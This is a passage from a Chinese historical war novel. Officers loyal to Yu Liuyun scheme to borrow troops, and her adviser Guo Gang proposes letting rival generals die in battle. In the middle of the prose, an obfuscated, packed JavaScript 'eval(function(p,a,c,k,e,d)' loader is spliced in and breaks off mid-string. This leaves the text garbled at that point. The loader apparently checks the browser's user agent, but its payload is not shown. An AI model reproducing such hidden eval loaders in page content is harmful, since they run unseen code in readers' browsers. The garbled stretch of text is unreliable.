罗满带着他二人来到自己的营房中,恰巧隔壁的赵酋来找他切磋武艺,也是一眼就认出贴了满脸大胡子的石梦泉了,惊喜得有半晌说不出话:“石将军……你……你可大好了?玉将军呢?这里都是些乱七八糟的传闻,我们可担心得紧哪!”不待石梦泉回答,他又笑道:“等等——等等——”转身跑出了门去,不一会儿,就把健锐营都尉卢进、骁骑营都尉陈灏、神弩营都尉韩夜和步军营都尉慕容齐全找了来——还少一个工兵营的都尉许昌,因为临时有事出去了,并不在房中。众人看到石梦泉都是喜不自禁,不知有多少话要说,更不知从何说起。 石梦泉本来不想声张,但见来的都是可信之人,就道:“好吧,别再多叫人了——要不了露陷了。我是特地来搬兵帮玉大人攻打郑国的。” 众人都惊道:“玉将军要攻打郑国么?她在哪里?听说她调任领侍卫内大臣了?还能出来带兵?” 石梦泉没时间把西瑶之行细细说来,只好就说玉旒云和自己游玩到了富安,听说郑国局势不稳,现在是进攻的大好时机,就打算趁此机会统一北方。“玉大人本来向皇上求了调兵的圣旨,但不知何故到现在也未收到。”他道,“幸而有一位新近投诚的谋士出主意,要我们假装富安被郑军攻陷,前来瑞津借援兵。”当下把方才做的一场戏略略说了,所有有的内容自然都是郭罡计划的。至于范柏的身份和所作所为他也简短地讲了一下。众人才算明白了经过。 石梦泉道:“刘、吕二位将军看样果然相信了,已答应借三万兵士到富安。估计用不了多久,就可以攻破郑国了。” “只三万人,够么?”韩夜有些担心地道,“攻一个城还好,但是灭郑国,会不会太少?” 赵酋道:“少么?我看不少。郑国自翼水之战后哪儿还有什么精兵?没听石将军说么,现在他们局势不稳呢。几个人争王位闹个没完,正好把他们个个击破!” 陈灏也道:“不错。有玉将军和石将军指挥,加上咱们这些兄弟,郑国那些老弱病残哪里是咱们的对手?石将军,几时出发?” 石梦泉道:“当然是越快越好,我怕这位范总兵会给我找麻烦。”顿了顿,又道:“玉大人之所以要攻打郑国,其中一个最重要的原因就是想把大伙儿带回她身边去。可惜,吕将军虽然答应给我们三万人,却打算都从他神女关的部众里派,至于瑞津的人,他是一个也不肯派的。” “可恶的老小子!”赵酋怒道,“他们不就是看不惯咱们立功么?郑国那半壁江山,咱们虽然抬抬小拇指就能拿下来。他们就是要抢功!” “也不是单为了抢功。”罗满道,“他们虽然对咱们百般刁难,不过皇上毕竟没有把咱们正式划归他们任何一个人的旗下。他们也不敢随便派咱们出去打仗。害怕玉将军将来找他们算账。再说,吕异现在对富安失守信以为真,生怕这个消息传回西京去。所以他当然是用自己的人马比较放心了。” “他怕声张,咱们就给他声张一下,”赵酋一拳砸在桌子上,“权当是这位范总兵嘴巴不牢泄露了天机,把私自攻打郑国之事传到了咱们的耳朵里。要是不让咱们去富安,咱们就联名到皇上面前去告他们舅甥俩一状。看他怎样!” “万万不可!”罗满道,“我们和吕将军不和,听到他外甥闯了祸,应该幸灾乐祸才对,哪会主动提出来帮他冲锋陷阵?他若起疑,就累了玉将军的大计!” 赵酋道:“可是,素来咱们跟着玉将军,只有朝外打的,没有叫别人打到家里来的,富安是我樾国领土,今被郑人‘占领’,我们应该看不下去吧?请缨出战,也不算是什么奇怪的事。” 罗满道:“你可以请缨,他也可以不答应啊。如果只是为了保家卫国,要用上联名上疏这样威胁的手段么?实在是太引人怀疑了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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众人看他这样吞吞吐吐的,都觉得好生奇怪。石梦泉却站起了身,道:“一时我也想不出对策来,就去看看也无妨——烦你们帮我好好看着范总兵。”因和卢进一起走到了外面。 天色昏暗又飘起了雪,背后的门一掩上,卢进就道:“石将军,玉大人突然被削了兵权又调任领侍卫内大臣,是不是因为赵王爷要造反?” 石梦泉一惊:“你从何处听到?” 卢进道:“是这个——”因从怀中取出一封信来,显然是带在身边久了,信封都磨损:“这是玉大人安插在程亦风身边的暗桩子前些日子交给我的。我在石坪一战时曾经和此人见过面,他得了这封信却无法交给玉大人,所以就先给了我。” 石梦泉展开了信,那上面只有两句诗:“肖家娘子树下走,斑鸠占了喜鹊窝。”这正是当时公孙天成企图通过泰和商号传给远平城杀鹿帮辣仙姑的信。他计划叫辣仙姑在樾国散发消息,制造混乱,不想千虑一失,被赵王的人发现险些丢了性命……这一封信又是…… “那暗桩子说,是程亦风身边的谋士公孙天成叫自己的随从由西瑶国送给程亦风的。”卢进道,“正巧就被我们的暗桩子截到了。他看出这信里有赵王谋反的暗示,恐怕公孙天成是暗示程亦风要趁此机会对我国不利,于是就冒死送回国来。他又说玉将军不知何日才能回到军中,只希望我设法交到玉将军的手里……石将军,你看……” 石梦泉皱眉想了想:公孙天成老奸巨滑,不知此举究竟有何意图。莫非他发现了我方的暗桩子,所以故意要通过这人将信传回国来? “石将军,我听说你和赵王的愉郡主订了亲,这事……” “别提这个,”石梦泉道,“卢都尉,这消息你还同旁人说过么?” 卢进摇了摇头:“滋事体大,我以为还是慎重为上。除我之外,只有将军你知道。” 石梦泉道:“那很好。我会向玉将军禀报此事,期间你千万不可同任何人提起。瑞津这里……”他想起方才同吕、刘二人同席饮酒的宋闰田:“瑞津这里的泰和商号并非普通商家,烦你帮我密切注意他们的举动,如果有任何可疑,就设法传到富安来。” 卢进正要点头答应,忽然“呀”的低呼了一声。石梦泉转身看去,见刘子飞正跨进院门来。他赶忙和卢进一头撞回营房里去:“刘将军来了!” 众人也都是一愕。罗满道:“不要急——这边!”就把石梦泉和范柏推到了旁边的小隔间里。石梦泉堪堪制住范柏,警告他不要出声,刘子飞就走进了房门。 “哟!”他一笑,“怎么人全都聚在这儿?” 没人回答他,过了半晌,罗满才道:“我们想起石将军来了,正聚在这儿聊聊,不知他现在怎样了。” 刘子飞打了个哈哈:“石梦泉嘛,他和愉郡主订了亲,现在就等着做皇亲国戚啦。前几个月听说他和玉旒云围猎去了,这会儿应该回到京城准备过年呢——他走的时候信誓旦旦,说要回来找你们,不过我看玉旒云做了京官儿,他俩都不会再回来啦——你们当真是在聊石梦泉么?” 赵酋一向冲动,忍不住刺了他一句:“不然我们还聊将军您?” 刘子飞道:“你们聊本将军?哈哈,我看你们只会背地里骂本将军,是不是?” 大家都不理会他,算是默认。 刘子飞叹了口气:“唉,我知道你们心里是怎么想的。不错,我以前跟你们玉将军的确有些误会,但是我可没有借机给你们小鞋穿吧?老天有眼,刚才我还在吕将军面前推荐你们,要他外甥带你们上前线去立功呢。可惜,吕将军对你们有成见,不肯答应。” 众人迅速地交换了一个眼神。罗满道:“将军说的什么?卑职们一点儿也不明白。” 刘子飞道:“是这样——吕将军的外甥是富安总兵,最近闯了点儿祸。”当下就把郭罡教范柏所说的那番谎话讲了一回:“他到我们瑞津来借兵,意图收复富安。这个草包要借三万人去收复这样一个小小的城池。依我看实在是浪费。有三万人连整个郑国都能攻下来了。” 众人都是一惊,尤其躲在隔间里的石梦泉心中一紧。 只听刘子飞又道:“去年打下郑国的半壁江山,虽然说起来是吕将军和玉将军一同指挥,但实际诸位都知道,翼水一战全是玉将军的功劳,吕将军只是一直在扯她的后腿而已。现在郑国国内局势混乱,正是一举攻下此国的大好时机。诸位是否愿意立此战功,为玉将军争一口气?” “我们……”赵酋才说了两个字,就被罗满打断了。“刘将军,”他道,“我们只是奉命驻扎在此等待兵部进一步的命令,军令未下,怎么可以自行攻打郑国?” 刘子飞笑道:“罗副将说的很有道理。然而范总兵不也是军令未下就私自出兵郑国了么?他如今闯下大祸,我等只是去收拾残局。这是个紧急情况,如果一味地拘泥于‘军令’,恐怕等到圣旨发下,又有好几个城池要被郑人占领——不是‘将在外,军令有所不受’么?” 罗满道:“那么刘将军的意思是,要我们去收拾残局,然后顺手灭了郑国?” 刘子飞道:“怎么?诸位由玉将军一手带出来,难道这样的‘顺手’还做不到么?” “当然做得到!”赵酋终于插上了话。 “不过,”罗满道,“玉将军和石将军素日并没有教导我们要做此等‘顺手’之事。上令下行,他二人都说,军中第一条原则就是要听从将帅的指挥。如今军令未出,我们若做此私自出兵的事,不是给玉将军争气,是给她丢脸。”说时,他警告地瞪了赵酋一眼,意思是不要忘记大青河时岑远自作主张的教训。接着道:“再说,郑国即使只剩半壁江山,也还有各路诸侯和十几万人马。我们去到郑国,如果跟着连富安都守不住的范总兵,那就等于是一支没有主帅的军队,根本就不能作战。” 刘子飞道:“怎么会没有主帅?”他两臂一抱,挺直腰板坐着:“我刘某人跟你们上前线去,不就是主帅了么?” 众人都是一愕。石梦泉担心的事果然发生了:郑国风雨飘摇,简直就是一块到了嘴边的肥肉,现在找了富安这样一个由头,谁不想乘机把它出下肚去? 赵酋虽然想去富安,但是明白一旦刘子飞带队前往,立刻就要被拆穿西洋景,连忙道:“不妥。大大的不妥。” 刘子飞怔了怔道:“有何不妥?” “这……”赵酋一时词穷。罗满连忙替他道:“将军的确辖制一方部队,不过将军所辖的是中州四省,将军要派遣兵队自己做主帅,从你中州四省派才符合规矩。我等虽然授命暂时驻扎于此,却并非将军直属部队。” “你——”刘子飞气得差点儿跳了起来——他的打算是带了玉旈云的人去攻打郑国,死伤都是玉旈云的,功劳都是自己的,一旦出了纰漏,反正推到玉旈云的下属身上。岂料被罗满来了这一席不硬不软的话,堵得他无从反驳。怔了片刻,才道:“兵贵神速。我统领中州四省,但兵队都在西连郡,离富安前线甚远,等我从那里调兵过去,已经失去了战机。而如果从瑞津派骁骑营作先锋出发,我立刻奏报朝廷,将范柏之事向皇上揭发,这样出兵郑国就是名正言顺。绝对不会让各位或者玉将军有任何麻烦。你们看如何?” 这岂不更糟?石梦泉急了,范柏令富安失守等等全是郭罡编造的谎言,这一上奏到朝廷,那可就是欺君之罪!何况庆澜帝也该收到玉旒云的秘信了,再见到刘子飞的奏报会作何感想? 罗满见他态度坚决,自己以下级的身份强加拒绝大概行不通,就另辟蹊径,道:“将军如此看得起我们,实在是我们三生有幸。但是,这样做岂不是令吕将军为难?” 刘子飞道:“做人万不可因私累家,因家害国。范柏自己做错了事,吕将军完全可以秉公处理,但是他偏偏要徇私偏袒,这就既拖累了自己又害了国家。我刘某人可不容此等事情发生。我会去好好劝劝吕将军,若他不听,我只好连他也一起举报。” 听他说得坚决,众人你看看我,我看看你,不知如何是好。 刘子飞拍了拍罗满:“石梦泉走前叫你带领将士们操练,这几个月来我看你干的不错。这支队伍要打下郑国,简直易如反掌。此后论功行赏,你升做总兵绝对不是问题。或许占领之初需要军队继续驻扎,我刘某人保荐你,能当上一方总督也说不定。年轻人,大好前途,不可限量啊!” 罗满并不为他所动,只是一心想要阻止这计划,但却实在想不出一个理由来,只能呆呆地看着他。 刘子飞便又向房中的每一个人说了通勉励的话:“诸位闲的时间也久了。玉旒云已经做了京官不会再出来带兵,大家对她忠心,我很理解。不过总不能耽误了自己的前途。我们行伍中人,若不上战阵杀敌,不攻城掠地,怎么建功立业呢?我希望今后能和诸位共进退,同富贵。郑国只是一个开始。诸位以为如何?” 没有一个人回答他。他却也不以为意,微笑着起身出门:“大家好好想想,我意已决,你们甘心情愿也要跟我去打郑国,咬牙切齿也得跟我去打郑国,不过前者和后者将来所得的封赏肯定大有不同。呵呵,人不为己,天诛地灭,你们死心塌地跟着一个不会回来的玉旒云,有什么用呢?” “谁说玉将军不会回来?”赵酋气得大叫。亏得旁边卢进等人拼命将他按住了,才没被刘子飞瞧出破绽。 待他去得远了,众人才从隔间里把石梦泉请出来:“将军,你看这要如何是好?” “不如将计就计,只说你们偷听到了此事,叫范柏去吕将军那里哭诉一番?”韩夜建议。 “不行!”石梦泉想,范柏是两头都没有活路了,索性去他舅父面前把真相合盘托出,或许还有一线生机,此时让他去哭诉,他还不是把玉旒云给卖了?然后刘自飞又可见风使舵,和吕异一同对付玉旒云……万万不可! “要不索性就挑明了,撕破脸来?”赵酋道,“反正让刘将军去到富安也会被他知道玉将军的事,还不如现在就一不做二不休——玉将军可以在富安兵变,咱们也可以在瑞津兵变,把姓刘和姓吕的都绑起来,然后咱们跟着玉将军去打下郑国,到时候立此大功,皇上还能怪罪不成?” “你住口!”罗满喝道,“富安兵变是不得已,而且玉将军也上奏了朝廷。我们在这里兵变算是什么?那是造反!你这是给玉将军添麻烦。” “不错,”卢进也道,“玉将军不需要再多麻烦了。我们做的违法乱纪之事越多,她留给别人的把柄也就越多,也就越难再回到我们中间来。我以为,正是这种时候,我们才应该小心行事,不给别人任何陷害玉将军的机会。” 可不是!石梦泉想道,到了这个时候,能不能攻下郑国已经不重要,能不能收回兵权也不重要,重要的是不能让刘子飞发现富安之事,从而给他们扣上一顶“欺君”的帽子。 57. 第 57 章 玉旒云接到石梦泉的急信首先想到的是要把郭罡找来发一通脾气:吕异要护短、刘子飞想要争功——这两条他怎么会计算不到?连这都没想到,还夸夸其谈什么?然而转念一想,郭罡的计策天花乱坠,正是自己所批准的,其中有漏洞也是自己未考察到,于人无尤。况且,这当儿要赶快补救,找谁来发脾气也是无用的。 她使自己冷静下来,即吩咐邓川立刻着手将粮草辎重向富安以北的朱家坝撤退,并通知富安驻军,三日之内全部要撤出城去,大部队去朱家坝,而一小部分人则要按照范柏谎话中所说去梅岭。同时,她又叫邵聪立刻带一批身手好的兵士从地道潜入靖杨刺杀郑国二皇子,希冀以此引得郑人前来富安报仇——这样就可以造成富安失守的假象,至少骗过刘子飞。而范柏此人……郭罡当初建议过要杀之灭口。他在富安做了不少坏事,也算是罪有应得。那么就杀了吧。然而现在传信给石梦泉太危险,等到大家来到富安,乱军之中才做得干净些——还可以给范柏安个“为国献身”之名,总算也对得起他…… 忙了一会儿,才把一切都交代完了。稍有喘息的功夫,一个疑问就转上她的心头:庆澜帝的圣旨为什么还没有到?西京出事了么? 这个想法给了她深深的挫败感:一旦西京出事,这里的一切也都白废了! “笃笃”几声响,是郭罡在外面敲门求见:“听说大人要从秘道刺杀二皇子?”不等玉旒云允许,他已自己走了进来。 玉旒云道:“是。”没有功夫同此人发火,只冷冷地吩咐:“你把秘道的地图画一张交给邵参将。” 郭罡道:“大人刺杀二皇子,有没有想过万一他死了之后郑军立刻溃散根本不来报仇?” 玉旒云道:“我当然想过。”此计若不成,只要富安撤空了,依然可以骗得刘子飞——郑人听得樾军大部队来到,调头跑了也不是没有可能。诚然,这种情况的说服力差一些。但是既然刘子飞是想攻打郑国立功,遇到一群望风而逃的敌人,他应该很高兴才是。 “把地图画一张给邵参将。其他的你不用多管。” “地图老夫可以画。”郭罡道,“不过,援军还未到,大人就急着要和郑人交手么?” “援军到了,就来不及了。”玉旒云将石梦泉的急信朝郭罡脸上一丢,“你问我想没想过郑军不来报仇?你怎么没想过刘子飞会亲自率兵前来?”终于还是忍不住要发作。如果石梦泉在身边,也许她的心情会好一些,偏偏他不在。于是又闪过一丝不祥的预感:两人很少分开的,上一次分开是大青河,结果就出了事。这一次呢? 郭罡静静地把信浏览了一遍:“老夫当然也想过了。而且老夫就是想要刘将军来,最好刘将军、吕将军一起来。” “什么?”玉旒云气得拍案而起,“郭罡,你到底是什么意思?” 郭罡慢条斯理:“大人看楚国将领谁能带兵?” 谁有功夫闲扯楚国将领?玉旒云火冒三丈:“冷千山、董鹏枭、向垂杨、鲁崇明全都是酒囊饭袋。司马非还凑合,但我总有一天要砍下他的脑袋来。程亦风一介书生,何足为惧?你有什么话,快说!” 郭罡道:“呵呵,不错。楚国将领草包居多,而且听说最擅长起内讧,到了战场上都没有什么用处。那么大人看樾国将领如何?” “岑广墨守成规,赵临川有勇无谋——”玉旒云道,“不过岑广已经不带兵,赵临川又已经死了,他俩什么好说。刘子飞贪得无厌,吕异任人唯亲,司徒蒙见风使舵,斤斤计较,打起仗来先考虑自己的安危,常常因小失大。” 郭罡点点头:“老夫看也是如此。樾国将领除了北疆赵王爷和他的手下,就是玉大人和石将军,其他的实在和楚国的草包也没什么分别,如此下去……咳咳……我听说楚国提拔了大青河之战有功的一批山贼和下级军官。这些人历练了出来,楚军威力恐怕会大大增强吧?” 玉旒云不耐烦道:“你究竟要说什么?国容不入军,军容不入国——我最讨厌人家把官场上那套拐弯抹角带到军队中来!” 郭罡道:“大人不要急躁。人一急躁就不冷静,一不冷静就容易犯错。老夫方才问大人樾军将领如何,大人只说了几位将军,下面还有总兵、副将、参将,参领、协领、防守尉、佐领、都尉——别人军中的大人不清楚,你自己亲兵里,可有智勇双全的么?” 玉旒云道:“副将罗满,是石梦泉的好友,为人稳重干练,勇敢忠诚,是大将之材。健锐营都尉卢进,坚忍不拔,且能随机应变,虽然经验尚少,但假以时日,也可以独当一面。骁骑营都尉陈灏,武艺超群,尤其骑术精湛,对于组织冲锋已有许多心得。神弩营都尉韩夜和步军营都尉慕容齐,两人应变能力稍差,但是韩夜擅于攻城,慕容齐长于防守,倘他们多和卢进一处历练学习,他日也会成为良将。至于前锋营都尉赵酋,实战经验最丰富,勇猛凌厉,非同小可,只是冲动些,如果有人能在他身边时常提醒,他必能攻无不克。” 郭罡道:“大人身边有这样一批能征擅战之人,如果将他们都提拔到将军的位置上由大人亲自率领,或者由石将军统帅,这大概就是所向披靡的王者之师吧?” 王者之师?玉旒云“啪”地一拍桌子:“这么大逆不道的话你也敢说?” 郭罡笑了笑:“大人为皇上带兵,所带的可不就是王者之师么?” 玉旒云哼了一声,暗道:老家伙倒会狡辩! 郭罡道:“况且,如果只有大人一个能够统帅这支‘王者之师’大人又何需担心收不回兵权?” 这倒是真的,玉旒云想,如果朝中将领都是自己提拔上来的,当初赵王再使什么诡计,也不能把她调回京去架空了!就把她调回去,她也根本不怕外面出乱子! “不过,提拔人也不是一朝一夕的事。”玉旒云道,“朝中哪需要那么多带兵的人?” “岑广退了,赵临川死了,大人得以提拔石将军,自己也实实地掌握了兵权。”郭罡淡淡的,“如果刘子飞和吕异也死了,国中不可无人,岂不就可将罗满和卢进提拔上来?剩下一个司徒蒙,既然是个见风使舵的货色,还不立刻就投诚到大人身边?” “你要我杀刘子飞和吕异?”玉旒云虽然讨厌这两人,却从没想过要害他们的性命——当初赵临川虽然是死在落雁谷,却并非她的责任。骤然听到郭罡把这么狠毒的计划轻描淡写的说出来,她吃惊不已。 郭罡表情一派淡然,仿佛建议上茶楼去喝茶一般:“我没说要大人亲手杀他们,只是打起仗来乱军之中他们牺牲的可能性还是很大的吧?” “你……”玉旒云惊愕道,“这是要我谋害本国将领?他们即使与我不和,却也没有犯什么大错……他们……” 郭罡冷冷的:“大人现在打算怎么把这出戏唱下去呢?范柏是一定要杀的了吧?既然范柏能杀,为什么刘子飞和吕异不能杀?大人以为这两人活着能不查出范柏之事的真相吗?” 玉旒云看到他这种阴冷的表情,心底也升起一丝寒意。 郭罡道:“老夫为大人计——范柏在富安玩忽职守并作恶多端,以致富安失守,他不得不去瑞津找舅父吕异借兵遮掩。刘子飞、吕异贪功冒进,企图乘此机会攻下郑国,于是私自率领瑞津和神女关的部队来到富安同郑军开战。不想,此二人既无谋略又相互猜疑,我军节节败退,此二人也殒命乱军之中。大人和石将军打猎游玩到此,危急之时无法请示朝廷,只有先接手军队,收拾残局。由于指挥得力,这以后,大军一路凯歌,攻破郑都江阳——大人以为这样的战报传回京去,会怎样?” 玉旒云怔怔的:这的确比先前计划要好得多,尤其刘子飞、吕异和范柏都死了,她这临危挂帅就显得更加无可奈何,也就没有人会来追究调兵的手令……剩下一个司徒蒙,决不敢一人接管她的部队,如此,她不仅顺理成章地拿回了瑞津的部众,还可以接收刘子飞和吕异的手下……即使是赵王知道了……不错,就算他知道了,自己重兵在握,便撕破脸来又怎样?此人不除,始终是心腹之患! 她越想就越觉得这个计策可以一举数得,实在是上佳之选,把方才那杀人的顾虑全都抛到了脑后——刘子飞、吕异、赵王父子……扫除了家中的一切障碍,她可以毫无后顾之忧地去拿下楚国…… “大人?”郭罡还在等着她的答复。 玉旒云重新又坐了回去,她不想在郭罡面前露出一丝赞许之色,所以做出漠然之态,道:“郭先生很喜欢讲故事嘛——先前给我讲了个故事,结果把刘子飞引了来,你看戏唱得下不了台了,就又给我讲个故事——现在想叫我杀两位将军,如果这里出了纰漏,你还要给我讲什么故事?” 郭罡道:“到了什么时候就要唱什么戏——将来的故事自然是要到将来才讲。如果玉大人想听老夫后面的故事,就先要把目前的戏唱好了。” 玉旒云道:“怎么唱?难道你要我在富安摆出阵来和刘子飞打一仗么?” 郭罡道:“大人说的一点儿也没错。” 玉旒云险些从椅子上翻下去:“你说什么?” 郭罡道:“富安现在被郑军占领,刘将军率领大军前来,在此地和郑军交战不是顺理成章的事么?” “可是刘子飞带的都是我的人马。”玉旒云怒道,“你叫我打自己人?决不可以!” 郭罡笑道:“大人当然不能打自己人,就是你愿意打,富安的士兵也不愿意,对大人的将来更加有害。来打刘将军和吕将军的应该是郑人。将军日后进攻郑国也有为他两人报仇的意味。” 玉旒云听言,不禁冷笑了一声:“这不又说回头了?还是得把郑人引到富安来。你说我的刺杀之计不可靠,什么计策才可行?” 郭罡抬起了头,深深地看了她一眼:“大人不忍心以水淹没靖杨,如果是此事是刘将军所为呢?” “你要水淹靖杨然后污蔑刘子飞?”玉旒云“倏”地站了起来,“混帐!你以为我不肯做这事是顾念自己的名声?我为的是靖杨等六县的百姓——一旦引水,不管推到刘子飞身上,吕异身上,哪怕是范柏身上,那都是我下的命令。就算瞒得了天下,难道还能瞒得了自己?” “自己?”郭罡微微一笑,“老夫看,如果只是大人自己,根本就不会在意这些。大人在意的是石将军怎么看吧?” “是又如何?”玉旒云怒道,“他所说的并无不对!” 郭罡道:“不过和大人想的却不同吧?既如此,大人何必要把这事对他说呢?” 玉旒云“哼”了一声:“你懂什么?我和梦泉之间,没有什么是不可说的。” 郭罡道:“是么?那么借此一战除掉刘子飞和吕异的事也要告诉石将军么?他会赞同么?” 玉旒云一愕:如果告诉石梦泉……他一定不赞成。是了!早该想到,郭罡不择手段,想出如此狠毒之计,要是石梦泉在场,肯定早就出言反对——这样看来,郭罡的计策到头来还是不能用的。 一团兴奋登时被泼了冷水:为什么所有最容易成事的计策都如此阴险狠辣?难道没有单凭实力可以达成目的的么? 郭罡看出了她的烦恼,微微一笑:“大人和刘子飞等人讲什么道义?他们向日同你可讲过道义么?他们来接手你的部队时,可考虑过什么道义?如果今日换作大人要挡他们升官发财的大好前途,他们对大人可会有半分手下留情?” 玉旒云皱着眉头并不发话。 郭罡又道:“大人一直想要灭亡楚国,你在楚国的敌手可会跟你讲道义么?他们彼此之间争斗起来尚且无所不用其极,见到你这个敌人,还不是什么手段都能用上?” 玉旒云双手撑在案上,整个脸都隐藏在阴影里,仿佛用额前的碎发将自己和眼前的世界隔开了,这样才能思考得更透彻。郭罡很想看看她的表情,好揣摩她究竟在想些什么。然而当玉旒云突然抬起脸时,他惊得不由自主朝后退了一步。 带着一种莫测的笑容,仿佛凛冽的风吹过千年不化的雪原冰川,带起了一些细碎的冰渣子。“刘子飞和吕异的事就交给你来办。”她道,“但是,引水淹没靖杨我决不允许。你立刻画一张地图给邵聪,叫他即时出发,带郑国二皇子的头颅回来见我。” “大人……”郭罡半晌才恢复了常态,“老夫觉得,活着的二皇子可能比死了的用处大些……” 腊月廿五祭灶日,樾国三万大军来到了梅岭。 由于刘子飞对吕异一通威逼利诱,吕异终于放弃了从神女关调兵,而是跟刘子飞一起动用了瑞津的三万兵队。胜利了,就是大家共同的功劳,失败了就看谁有本事把罪责推到对方的身上,而损失自然都是玉旈云的。这想法,他们心照不宣。 依旧打扮成贾老实的石梦泉未接到玉旒云的任何指示,心中忐忑不已。不过当他看到梅岭中尽是模样狼狈的樾军士兵后,知道玉旒云应该有所部署,才稍稍放下心来。 在道儿口坐着个背着大铁锅的人,正是从前被范柏发配到伙房的邵聪,石梦泉叫卢进帮自己看着范柏,瞅个空子就来向邵聪打听消息。邵聪道:“石将军不必担心,玉将军率领大队人马驻扎在富安北面的朱家坝。她说叫你暂时还做贾老实,不过一会儿进富安城的时候要小心。” 石梦泉点了点头,又问:“进富安?什么时候?” 邵聪道:“等郭先生的消息,一会儿……”才要说,正好吕异走了过来,两人连忙都住了口。 吕异因为多少受了刘子飞的胁迫,满肚子的恼火没处发泄,看到邵聪就冷笑道:“哎呀,这不是我们百发百中的邵参将么?已经改行做大厨了?” 邵聪冷淡地行了个礼:“吕将军。” 吕异“哼”了一声:“贾老实,你们范总兵提拔你,你可千万要用心做事,否则这伙房里还多的是空位呢!” 石梦泉唯唯答应。 吕异又道:“那么今天就请邵大厨来整治饭菜吧,我倒想看看这弯弓射箭的手做出来的饭菜如何。” 邵聪依旧冷淡:“粮草都被郑人烧了,这里的树根草叶也被吃的差不多了,不知道观音土将军吃不吃得惯?” 吕异被这态度气得半死:“我大军来到此地,自然有粮草——贾老实,你带他过去,看着他做饭,要是敢偷懒的,立刻来告诉我。” “是,是——”石梦泉正有许多话要问邵聪,求之不得,立刻就拉着邵聪到一边去了。 看看已走出了吕异的视线,邵聪才道:“其实玉将军和郭先生具体是什么计划,我也不太清楚。我只知道本来玉将军本来打算叫我潜入靖杨刺杀郑国二皇子,想以此引了郑军到富安来。不过后来她用了郭先生的计策,让大家先撤退。郭先生说少时自然会有郑军到来富安。我们先是将信将疑,但待到我们全都撤出城后,果然看到郑国二皇子的大旗插在城楼上了。也不知他用的什么法子!” 郭罡的主意异乎常人,石梦泉想,以他那种反复无常之态,说不定是骗了玉旒云撤退,回头又去请自己的主子来,不费一兵一卒就占领了富安。不过,他既然知道樾军大部队开到,以二皇子的兵力是绝对守不住富安的,应该不会有此无谓之举吧?那么他极有可能去转回郑国去,告诉二皇子说因为种种原因,樾军不得不放弃此城,二皇子就信以为真,兴高采烈地来到富安,殊不知自己成了樾军的靶子……当然也有可能根本富安城里一个郑人也没有,就是郭罡插起了一面旗子而已…… 多猜无益,还是得等郭罡的消息。“郭先生有没有说会怎么传消息来?” “说来你也不信,”邵聪道,“郭先生说会亲自传消息来,不知他打算怎么做。” 石梦泉道:“那就只有等了。”只希望不要太久,他想,盯住范柏实在不容易。 两人当下就按照吕异的命令去准备伙食。不过才走没多远,见到罗满匆匆跑了过来:“石将军,郑人来向范总兵献城投降,卢都尉叫你快过去。” 献城投降!石梦泉和邵聪心中都是一惊,接着又是一喜:看来是郭罡到了。 立即随罗满到了大帐中,果然看到了郭罡,正向刘子飞和吕异行礼:“我主公只道范总兵请来了救兵,害怕不敌,所以叫我来求和。没想到范总兵搬来的不仅是救兵,还有威远、忠义两位大将军。看来我主公实在明智,否则这一战必是以卵投石了。” 刘子飞和吕异不明就里,呵呵而笑。范柏想要揭穿,无奈卢进正拿匕首抵着他的后腰。他想:看来玉旒云毕竟也忌惮舅父,现在想找个台阶来下,把谎撒圆了;也罢,我就先把富安拿回来,然后再跟他们秋后算总帐。因道:“既然如此,我这就和二皇子殿下交接——舅父、刘将军,大军没有必要在梅岭扎营了,直接进驻富安吧。” “啊?进驻富安?”郭罡道,“这……我主公已经答应把富安还给范总兵,为何大军还要开进富安?莫非是想撕毁和约么?” 樾军来到这里,当然就是为了毁约消灭郑国,只是各人心里都有不同的打算,表面上也不能表现出来。范柏即道:“大军不进富安,我怎知你们二皇子殿下会不会出尔反尔,卷土重来?” 郭罡道:“范总兵说话真是有意思。如果不是你先进攻我国,我主公怎么会被迫同你交战,以致夺下富安,小惩大戒?” 范柏一愕,气得几乎想把事情全盘托出。 石梦泉忙快步走上来扼住了他的手腕:“范大人,不用跟他一般见识。” 刘子飞呵呵笑道:“郭先生说的没错,樾、郑两国为友好邻邦,我大军进驻富安的确不妥。然而范贤侄说的也有道理,不管是谁先挑起了战火,现在的确是你郑国的军队打到了我樾国的土地上,所以我们若就此撤走,也不能保证你们日后不再次毁约而来。毕竟富安只有不足一千的兵力嘛。依我看咱不如想个折中的法子——我大军依然驻扎在梅岭,直到交接完毕,富安防备力量恢复为止——不知二皇子意下如何?” 郭罡作出为难之态:“这个……老夫得回去请教了二皇子才知道。” 吕异惟恐打不起来白跑一趟,一拍桌子,道:“还请教什么?这里是我樾国的地界,本将军爱把军队驻扎在哪里就驻扎在哪里。就算是要请教,也是请教我国皇帝陛下,什么时候轮到你们二皇子了?” 郭罡仿佛被他吓了一跳,用袖子擦了擦额上的汗,道:“啊,既然是这样,老夫就斗胆替二皇子做了这个主。两位将军的部队就驻扎在梅岭吧。我郑国军队今晚就撤出富安……范总兵何时方便来交接?” 范柏暗想:现在舅父大军在此,我前去富安“交接”,玉旒云还敢玩什么花样不成?当即做出一副英明神武的模样,道:“富安是我樾国之地,多一刻在他人手中都是我国之耻。我现在就去交接——舅父,请准我带骁骑营一同前往富安。” 骁骑营神勇无比,应该可以保护范柏的安全。吕异便要点头。然而刘子飞却笑:“哎哟,既然只是交接,何必带骁骑营呢?搞得我们似乎很不友好似的。我瞧这几天卢都尉跟范贤侄谈得很投契,不如就叫卢都尉带三千健锐营兵士陪着,而范贤侄则可以把原先富安的人马召集召集,一同回去,岂不便宜?” 范柏把刘子飞恨得牙痒痒的,可又无法驳斥这番话,只有把眼看着吕异。而吕异又何尝咽得下这口气,“呼”地一下站了起来,道:“既然二皇子这么有诚意交还富安,我吕某人也有兴趣交交这个朋友。我亲自和青陵到富安去一趟——卢都尉,你的健锐营固然训练有素,不过我们要赶去富安,还是骑兵快些——郭先生,希望你明白,我带着骁骑营决不是向二皇子示威,而是纯粹为了效率之故——” 口里说是叫郭罡理解,其实却是对着刘子飞说的。后者翻了翻白眼:“要我说,交接之事何止是要效率?仪仗排场也是要有的。吕将军既然亲自和范总兵带了骁骑营前往,那我就在这里让健锐营、步军营、神弩营和前锋营都列好队,方不失我大国风范。” 